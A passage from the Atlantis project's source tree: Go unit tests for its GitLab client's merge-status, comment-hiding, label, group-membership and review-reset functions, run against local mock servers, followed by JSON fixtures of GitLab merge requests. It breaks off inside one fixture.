TestClient_gitlabPullIsMergeable projectSuccess, err := os.ReadFile("testdata/project-success.json") Ok(t, err) mrs := map[int][]byte{ defaultMr: mustReadFile(t, "testdata/pipeline-success.json"), noHeadPipelineMR: mustReadFile(t, "testdata/head-pipeline-not-available.json"), ciMustPassMR: mustReadFile(t, "testdata/detailed-merge-status-ci-must-pass.json"), needRebaseMR: mustReadFile(t, "testdata/detailed-merge-status-need-rebase.json"), remainingApprovalsMR: mustReadFile(t, "testdata/pipeline-remaining-approvals.json"), blockingDiscussionsUnresolvedMR: mustReadFile(t, "testdata/pipeline-blocking-discussions-unresolved.json"), workInProgressMR: mustReadFile(t, "testdata/pipeline-work-in-progress.json"), pipelineSkippedMR: mustReadFile(t, "testdata/pipeline-with-pipeline-skipped.json"), } cases := []struct { statusName string status models.CommitStatus gitlabVersions []string mrID int expState models.MergeableStatus }{ { fmt.Sprintf("%s/apply: resource/default", vcsStatusName), models.FailedCommitStatus, gitlabServerVersions, defaultMr, models.MergeableStatus{ IsMergeable: true, }, }, { fmt.Sprintf("%s/apply", vcsStatusName), models.FailedCommitStatus, gitlabServerVersions, defaultMr, models.MergeableStatus{ IsMergeable: true, }, }, { fmt.Sprintf("%s/plan: resource/default", vcsStatusName), models.FailedCommitStatus, gitlabServerVersions, defaultMr, models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("Pipeline %s/plan: resource/default has status failed", vcsStatusName), }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.PendingCommitStatus, gitlabServerVersions, defaultMr, models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("Pipeline %s/plan has status pending", vcsStatusName), }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.SuccessCommitStatus, gitlabServerVersions, defaultMr, models.MergeableStatus{ IsMergeable: true, }, }, { fmt.Sprintf("%s/apply", vcsStatusName), models.FailedCommitStatus, gitlabServerVersions, ciMustPassMR, models.MergeableStatus{ IsMergeable: true, }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.FailedCommitStatus, gitlabServerVersions, ciMustPassMR, models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("Pipeline %s/plan has status failed", vcsStatusName), }, }, // This MR should be listed as not mergeable. However, in older versions they don't have detailed_merge_status, // so our code can only see the merge_status field (deprecated in 15.6), which says can_be_merged. { fmt.Sprintf("%s/apply", vcsStatusName), models.SuccessCommitStatus, []string{gitlabVersionUnder15_6}, needRebaseMR, models.MergeableStatus{ IsMergeable: true, }, }, { fmt.Sprintf("%s/apply", vcsStatusName), models.SuccessCommitStatus, []string{gitlabVersion15_6, gitlabVersionOver15_6}, needRebaseMR, models.MergeableStatus{ IsMergeable: false, Reason: "Merge status is need_rebase", }, }, { fmt.Sprintf("%s/apply: resource/default", vcsStatusName), models.FailedCommitStatus, gitlabServerVersions, noHeadPipelineMR, models.MergeableStatus{ IsMergeable: true, }, }, { fmt.Sprintf("%s/apply", vcsStatusName), models.FailedCommitStatus, gitlabServerVersions, noHeadPipelineMR, models.MergeableStatus{ IsMergeable: true, }, }, { fmt.Sprintf("%s/plan: resource/default", vcsStatusName), models.FailedCommitStatus, gitlabServerVersions, noHeadPipelineMR, models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("Pipeline %s/plan: resource/default has status failed", vcsStatusName), }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.PendingCommitStatus, gitlabServerVersions, noHeadPipelineMR, models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("Pipeline %s/plan has status pending", vcsStatusName), }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.FailedCommitStatus, gitlabServerVersions, noHeadPipelineMR, models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("Pipeline %s/plan has status failed", vcsStatusName), }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.SuccessCommitStatus, gitlabServerVersions, noHeadPipelineMR, models.MergeableStatus{ IsMergeable: true, }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.SuccessCommitStatus, gitlabServerVersions, remainingApprovalsMR, models.MergeableStatus{ IsMergeable: false, Reason: "Still require 2 approvals", }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.SuccessCommitStatus, gitlabServerVersions, blockingDiscussionsUnresolvedMR, models.MergeableStatus{ IsMergeable: false, Reason: "Blocking discussions unresolved", }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.SuccessCommitStatus, gitlabServerVersions, workInProgressMR, models.MergeableStatus{ IsMergeable: false, Reason: "Work in progress", }, }, { fmt.Sprintf("%s/plan", vcsStatusName), models.SuccessCommitStatus, gitlabServerVersions, pipelineSkippedMR, models.MergeableStatus{ IsMergeable: false, Reason: "Pipeline was skipped", }, }, } for _, c := range cases { for _, serverVersion := range c.gitlabVersions { t.Run(c.statusName, func(t *testing.T) { testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch { case r.RequestURI == "/api/v4/": // Rate limiter requests. w.WriteHeader(http.StatusOK) case strings.HasPrefix(r.RequestURI, "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/"): // Extract merge request ID mrPart := strings.TrimPrefix(r.RequestURI, "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/") mrID, err := strconv.Atoi(mrPart) if err != nil { t.Errorf("invalid MR id in URI %q", r.RequestURI) http.Error(w, "bad request", http.StatusBadRequest) return } response, ok := mrs[mrID] if !ok { t.Errorf("invalid MR id %d", mrID) http.Error(w, "not found", http.StatusNotFound) return } w.WriteHeader(http.StatusOK) w.Write(response) // nolint: errcheck case r.RequestURI == fmt.Sprintf("/api/v4/projects/%v", projectID): w.WriteHeader(http.StatusOK) w.Write(projectSuccess) // nolint: errcheck case r.RequestURI == fmt.Sprintf("/api/v4/projects/%v/repository/commits/67cb91d3f6198189f433c045154a885784ba6977/statuses", projectID): w.WriteHeader(http.StatusOK) response := fmt.Sprintf(`[{"id":133702594,"sha":"67cb91d3f6198189f433c045154a885784ba6977","ref":"patch-1","status":"%s","name":"%s","target_url":null,"description":"ApplySuccess","created_at":"2018-12-12T18:31:57.957Z","started_at":null,"finished_at":"2018-12-12T18:31:58.480Z","allow_failure":false,"coverage":null,"author":{"id":1755902,"username":"lkysow","name":"LukeKysow","state":"active","avatar_url":"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon","web_url":"https://gitlab.com/lkysow"}}]`, c.status, c.statusName) w.Write([]byte(response)) // nolint: errcheck case r.RequestURI == "/api/v4/version": w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") type version struct { Version string } v := version{Version: serverVersion} err := json.NewEncoder(w).Encode(v) Ok(t, err) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, } repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", VCSHost: models.VCSHost{ Type: models.Gitlab, Hostname: "gitlab.com", }, } mergeable, err := client.PullIsMergeable( logger, repo, models.PullRequest{ Num: c.mrID, BaseRepo: repo, HeadCommit: "67cb91d3f6198189f433c045154a885784ba6977", }, vcsStatusName, []string{}) Ok(t, err) Equals(t, c.expState, mergeable) }) } } } func TestClient_gitlabIsMergeable(t *testing.T) { // Test the helper gitlabIsMergeable directly cases := []struct { description string mr *gitlab.MergeRequest project *gitlab.Project supportsDetailedMergeStatus bool expected models.MergeableStatus }{ { description: "requires approvals", mr: &gitlab.MergeRequest{ ApprovalsBeforeMerge: 2, }, project: &gitlab.Project{}, expected: models.MergeableStatus{ IsMergeable: false, Reason: "Still require 2 approvals", }, }, { description: "blocking discussions unresolved", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: false, }, project: &gitlab.Project{}, expected: models.MergeableStatus{ IsMergeable: false, Reason: "Blocking discussions unresolved", }, }, { description: "work in progress", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: true, WorkInProgress: true, }, project: &gitlab.Project{}, expected: models.MergeableStatus{ IsMergeable: false, Reason: "Work in progress", }, }, { description: "pipeline skipped and not allowed", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: true, HeadPipeline: &gitlab.Pipeline{Status: "skipped"}, }, project: &gitlab.Project{ AllowMergeOnSkippedPipeline: false, }, expected: models.MergeableStatus{ IsMergeable: false, Reason: "Pipeline was skipped", }, }, { description: "pipeline skipped and is allowed", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: true, HeadPipeline: &gitlab.Pipeline{Status: "skipped"}, DetailedMergeStatus: "mergeable", }, supportsDetailedMergeStatus: true, project: &gitlab.Project{ AllowMergeOnSkippedPipeline: true, }, expected: models.MergeableStatus{ IsMergeable: true, }, }, { description: "detailed merge status mergeable", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: true, DetailedMergeStatus: "mergeable", }, project: &gitlab.Project{}, supportsDetailedMergeStatus: true, expected: models.MergeableStatus{IsMergeable: true}, }, { description: "detailed merge status need_rebase", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: true, DetailedMergeStatus: "need_rebase", }, project: &gitlab.Project{}, supportsDetailedMergeStatus: true, expected: models.MergeableStatus{ IsMergeable: false, Reason: "Merge status is need_rebase", }, }, { description: "detailed merge status not mergeable", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: true, DetailedMergeStatus: "blocked", }, project: &gitlab.Project{}, supportsDetailedMergeStatus: true, expected: models.MergeableStatus{ IsMergeable: false, Reason: "Merge status is blocked", }, }, { description: "detailed merge status can_be_merged (not a valid detailed status)", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: true, DetailedMergeStatus: "can_be_merged", }, project: &gitlab.Project{}, supportsDetailedMergeStatus: true, expected: models.MergeableStatus{ IsMergeable: false, Reason: "Merge status is can_be_merged", }, }, { description: "legacy merge status can_be_merged", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: true, MergeStatus: "can_be_merged", }, project: &gitlab.Project{}, expected: models.MergeableStatus{IsMergeable: true}, }, { description: "legacy merge status cannot be merged", mr: &gitlab.MergeRequest{ BlockingDiscussionsResolved: true, MergeStatus: "cannot_be_merged", }, project: &gitlab.Project{}, expected: models.MergeableStatus{ IsMergeable: false, Reason: "Merge status is cannot_be_merged", }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { actual := isMergeable(c.mr, c.project, c.supportsDetailedMergeStatus) Equals(t, c.expected, actual) }) } } func TestClient_MarkdownPullLink(t *testing.T) { logger := logging.NewNoopLogger(t) gitlabClientUnderTest = true defer func() { gitlabClientUnderTest = false }() client, err := New("gitlab.com", "token", []string{}, logger) Ok(t, err) pull := models.PullRequest{Num: 1} s, _ := client.MarkdownPullLink(pull) exp := "!1" Equals(t, exp, s) } func TestClient_HideOldComments(t *testing.T) { logger := logging.NewNoopLogger(t) type notePutCallDetails struct { noteID string comment []string } type jsonBody struct { Body string } authorID := 1 authorUserName := "pipin" authorEmail := "admin@example.com" pullNum := 123 userCommentIDs := [1]string{"1"} planCommentIDs := [2]string{"3", "5"} systemCommentIDs := [1]string{"4"} summaryCommentIDs := [1]string{"2"} planComments := [3]string{"Ran Plan for 2 projects:", "Ran Plan for dir: `stack1` workspace: `default`", "Ran Plan for 2 projects:"} summaryHeader := fmt.Sprintf("
Superseded Atlantis %s", command.Plan.TitleString()) summaryFooter := "
" lineFeed := "\\n" issueResp := "[" + fmt.Sprintf(`{"id":%s,"body":"User comment","author":{"id": %d, "username":"%s", "email":"%s"},"system": false,"project_id": %d}`, userCommentIDs[0], authorID, authorUserName, authorEmail, pullNum) + "," + fmt.Sprintf(`{"id":%s,"body":"%s","author":{"id": %d, "username":"%s", "email":"%s"},"system": false,"project_id": %d}`, summaryCommentIDs[0], summaryHeader+lineFeed+planComments[2]+lineFeed+summaryFooter, authorID, authorUserName, authorEmail, pullNum) + "," + fmt.Sprintf(`{"id":%s,"body":"%s","author":{"id": %d, "username":"%s", "email":"%s"},"system": false,"project_id": %d}`, planCommentIDs[0], planComments[0], authorID, authorUserName, authorEmail, pullNum) + "," + fmt.Sprintf(`{"id":%s,"body":"System comment","author":{"id": %d, "username":"%s", "email":"%s"},"system": true,"project_id": %d}`, systemCommentIDs[0], authorID, authorUserName, authorEmail, pullNum) + "," + fmt.Sprintf(`{"id":%s,"body":"%s","author":{"id": %d, "username":"%s", "email":"%s"},"system": false,"project_id": %d}`, planCommentIDs[1], planComments[1], authorID, authorUserName, authorEmail, pullNum) + "]" repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", VCSHost: models.VCSHost{ Type: models.Gitlab, Hostname: "gitlab.com", }, } cases := []struct { dir string processedComments int processedCommentIds []string processedPlanComment []string }{ { "", 2, []string{planCommentIDs[0], planCommentIDs[1]}, []string{planComments[0], planComments[1]}, }, { "stack1", 1, []string{planCommentIDs[1]}, []string{planComments[1]}, }, { "stack2", 0, []string{}, []string{}, }, } for _, c := range cases { t.Run(c.dir, func(t *testing.T) { gitlabClientUnderTest = true defer func() { gitlabClientUnderTest = false }() gotNotePutCalls := make([]notePutCallDetails, 0, 1) testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method { case "GET": switch r.RequestURI { case "/api/v4/user": w.WriteHeader(http.StatusOK) w.Header().Set("Content-Type", "application/json") response := fmt.Sprintf(`{"id": %d,"username": "%s", "email": "%s"}`, authorID, authorUserName, authorEmail) w.Write([]byte(response)) // nolint: errcheck case fmt.Sprintf("/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%d/notes?order_by=created_at&sort=asc", pullNum): w.WriteHeader(http.StatusOK) response := issueResp w.Write([]byte(response)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } case "PUT": switch { case strings.HasPrefix(r.RequestURI, fmt.Sprintf("/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%d/notes/", pullNum)): w.WriteHeader(http.StatusOK) var body jsonBody json.NewDecoder(r.Body).Decode(&body) // nolint: errcheck notePutCallDetail := notePutCallDetails{ noteID: path.Base(r.RequestURI), comment: strings.Split(body.Body, "\n"), } gotNotePutCalls = append(gotNotePutCalls, notePutCallDetail) response := "{}" w.Write([]byte(response)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } default: t.Errorf("got unexpected method at %q", r.Method) http.Error(w, "not found", http.StatusNotFound) } }), ) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, } err = client.HidePrevCommandComments(logger, repo, pullNum, command.Plan.TitleString(), c.dir) Ok(t, err) // Check the correct number of plan comments have been processed Equals(t, c.processedComments, len(gotNotePutCalls)) // Check the correct comments have been processed for i := 0; i < c.processedComments; i++ { Equals(t, c.processedCommentIds[i], gotNotePutCalls[i].noteID) Equals(t, summaryHeader, gotNotePutCalls[i].comment[0]) Equals(t, c.processedPlanComment[i], gotNotePutCalls[i].comment[1]) Equals(t, summaryFooter, gotNotePutCalls[i].comment[2]) } }) } } func TestClient_GetPullLabels(t *testing.T) { logger := logging.NewNoopLogger(t) mergeSuccessWithLabel, err := os.ReadFile("testdata/merge-success-with-label.json") Ok(t, err) testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1": w.WriteHeader(http.StatusOK) w.Write(mergeSuccessWithLabel) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, } labels, err := client.GetPullLabels( logger, models.Repo{ FullName: "runatlantis/atlantis", }, models.PullRequest{ Num: 1, }, ) Ok(t, err) Equals(t, []string{"work in progress"}, labels) } func TestClient_GetPullLabels_EmptyResponse(t *testing.T) { logger := logging.NewNoopLogger(t) pipelineSuccess, err := os.ReadFile("testdata/pipeline-success.json") Ok(t, err) testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1": w.WriteHeader(http.StatusOK) w.Write(pipelineSuccess) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, } labels, err := client.GetPullLabels( logger, models.Repo{ FullName: "runatlantis/atlantis", }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, 0, len(labels)) } // GetTeamNamesForUser returns the names of the GitLab groups that the user belongs to. func TestClient_GetTeamNamesForUser(t *testing.T) { logger := logging.NewNoopLogger(t) groupMembershipSuccess, err := os.ReadFile("testdata/group-membership-success.json") Ok(t, err) userSuccess, err := os.ReadFile("testdata/user-success.json") Ok(t, err) userEmpty, err := os.ReadFile("testdata/user-none.json") Ok(t, err) multipleUsers, err := os.ReadFile("testdata/user-multiple.json") Ok(t, err) configuredGroups := []string{"someorg/group1", "someorg/group2", "someorg/group3", "someorg/group4"} cases := []struct { userName string expErr string expTeams []string }{ { userName: "testuser", expTeams: []string{"someorg/group1", "someorg/group2"}, }, { userName: "none", expErr: "GET /users returned no user", }, { userName: "multiuser", expErr: "GET /users returned more than 1 user", }, } for _, c := range cases { t.Run(c.userName, func(t *testing.T) { testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/users?username=testuser": w.WriteHeader(http.StatusOK) w.Write(userSuccess) // nolint: errcheck case "/api/v4/users?username=none": w.WriteHeader(http.StatusOK) w.Write(userEmpty) // nolint: errcheck case "/api/v4/users?username=multiuser": w.WriteHeader(http.StatusOK) w.Write(multipleUsers) // nolint: errcheck case "/api/v4/groups/someorg%2Fgroup1/members/123", "/api/v4/groups/someorg%2Fgroup2/members/123": w.WriteHeader(http.StatusOK) w.Write(groupMembershipSuccess) // nolint: errcheck case "/api/v4/groups/someorg%2Fgroup3/members/123": http.Error(w, "forbidden", http.StatusForbidden) case "/api/v4/groups/someorg%2Fgroup4/members/123": http.Error(w, "not found", http.StatusNotFound) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, ConfiguredGroups: configuredGroups, } teams, err := client.GetTeamNamesForUser( logger, models.Repo{ Owner: "someorg", }, models.User{ Username: c.userName, }) if c.expErr == "" { Ok(t, err) Equals(t, c.expTeams, teams) } else { ErrContains(t, c.expErr, err) } }) } } func TestGithubClient_DiscardReviews(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { description string repoFullName string pullReqeustId int wantErr bool }{ { "success", "runatlantis/atlantis", 42, false, }, { "error", "runatlantis/atlantis", 32, true, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/42/reset_approvals": w.WriteHeader(http.StatusOK) case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/32/reset_approvals": http.Error(w, "No bot token", http.StatusUnauthorized) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, } repo := models.Repo{ FullName: c.repoFullName, } pr := models.PullRequest{ Num: c.pullReqeustId, } if err := client.DiscardReviews(logger, repo, pr); (err != nil) != c.wantErr { t.Errorf("DiscardReviews() error = %v", err) } }) } } func TestClient_UpdateStatusTransitionAlreadyComplete(t *testing.T) { logger := logging.NewNoopLogger(t) testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/projects/runatlantis%2Fatlantis/statuses/sha": w.WriteHeader(http.StatusBadRequest) _, err := w.Write([]byte(`{"message": {"state": ["Cannot transition status via :run from :running"]}}`)) Ok(t, err) case "/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha": w.WriteHeader(http.StatusOK) getCommitResponse := GetCommitResponse{ LastPipeline: &GetCommitResponseLastPipeline{ ID: gitlabPipelineSuccessMrID, }, } getCommitJsonResponse, err := json.Marshal(getCommitResponse) Ok(t, err) _, err = w.Write(getCommitJsonResponse) Ok(t, err) case "/api/v4/": // Rate limiter requests. w.WriteHeader(http.StatusOK) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, PollingInterval: 10 * time.Millisecond, } repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", } err = client.UpdateStatus( logger, repo, models.PullRequest{ Num: 1, BaseRepo: repo, HeadCommit: "sha", HeadBranch: "test", }, models.PendingCommitStatus, updateStatusSrc, updateStatusDescription, updateStatusTargetUrl, ) Ok(t, err) } ================================================ FILE: server/events/vcs/gitlab/testdata/changes-available.json ================================================ { "id": 8312, "iid": 102, "target_branch": "main", "source_branch": "TestBranch", "project_id": 3771, "title": "Update somefile.yaml", "state": "opened", "created_at": "2023-03-14T13:43:17.895Z", "updated_at": "2023-03-14T13:43:59.978Z", "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\\u0026d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "assignees": [], "reviewers": [], "source_project_id": 3771, "target_project_id": 3771, "labels": [], "description": "", "draft": false, "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "detailed_merge_status": "not_approved", "merge_error": "", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "subscribed": false, "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": null, "squash_commit_sha": null, "user_notes_count": 0, "changes_count": "1", "should_remove_source_branch": null, "force_remove_source_branch": true, "allow_collaboration": false, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "discussion_locked": null, "changes": [ { "old_path": "somefile.yaml", "new_path": "somefile.yaml", "a_mode": "100644", "b_mode": "100644", "diff": "--- a/somefile.yaml\\ +++ b/somefile.yaml\\ @@ -1 +1 @@\\ -gud\\ +good", "new_file": false, "renamed_file": false, "deleted_file": false } ], "user": { "can_merge": true }, "time_stats": { "human_time_estimate": null, "human_total_time_spent": null, "time_estimate": 0, "total_time_spent": 0 }, "squash": false, "pipeline": null, "head_pipeline": null, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "approvals_before_merge": null, "reference": "!13", "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "overflow": false, "merge_status": "can_be_merged" } ================================================ FILE: server/events/vcs/gitlab/testdata/changes-pending.json ================================================ { "id": 8312, "iid": 102, "target_branch": "main", "source_branch": "TestBranch", "project_id": 3771, "title": "Update somefile.yaml", "state": "opened", "created_at": "2023-03-14T13:43:17.895Z", "updated_at": "2023-03-14T13:43:17.895Z", "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\\u0026d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "assignees": [], "reviewers": [], "source_project_id": 3771, "target_project_id": 3771, "labels": [], "description": "", "draft": false, "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "detailed_merge_status": "checking", "merge_error": "", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "subscribed": false, "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": "", "squash_commit_sha": "", "user_notes_count": 0, "changes_count": "", "should_remove_source_branch": false, "force_remove_source_branch": true, "allow_collaboration": false, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "discussion_locked": false, "changes": [], "user": { "can_merge": true }, "time_stats": { "human_time_estimate": "", "human_total_time_spent": "", "time_estimate": 0, "total_time_spent": 0 }, "squash": false, "pipeline": null, "head_pipeline": null, "diff_refs": { "base_sha": "", "head_sha": "", "start_sha": "" }, "diverged_commits_count": 0, "rebase_in_progress": false, "approvals_before_merge": 0, "reference": "!13", "first_contribution": false, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "overflow": false, "merge_status": "checking" } ================================================ FILE: server/events/vcs/gitlab/testdata/detailed-merge-status-ci-must-pass.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "opened", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "user_notes_count": 0, "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "reviewers": [], "source_project_id": 4580910, "target_project_id": 4580910, "labels": [], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "ci_must_pass", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": null, "squash_commit_sha": null, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": true, "reference": "!13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": true, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "approvals_before_merge": null, "subscribed": false, "changes_count": "1", "latest_build_started_at": "2019-01-15T18:27:29.375Z", "latest_build_finished_at": "2019-01-25T17:28:01.437Z", "first_deployed_to_production_at": null, "pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" }, "head_pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", "before_sha": "0000000000000000000000000000000000000000", "tag": false, "yaml_errors": null, "user": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "started_at": "2019-01-15T18:27:29.375Z", "finished_at": "2019-01-25T17:28:01.437Z", "committed_at": null, "duration": 31, "coverage": null, "detailed_status": { "icon": "status_success", "text": "passed", "label": "passed", "group": "success", "tooltip": "passed", "has_details": true, "details_path": "/lkysow/atlantis-example/-/pipelines/488598", "illustration": null, "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" } }, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "first_contribution": false, "user": { "can_merge": true } } ================================================ FILE: server/events/vcs/gitlab/testdata/detailed-merge-status-need-rebase.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "opened", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "user_notes_count": 0, "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "reviewers": [], "source_project_id": 4580910, "target_project_id": 4580910, "labels": [], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": 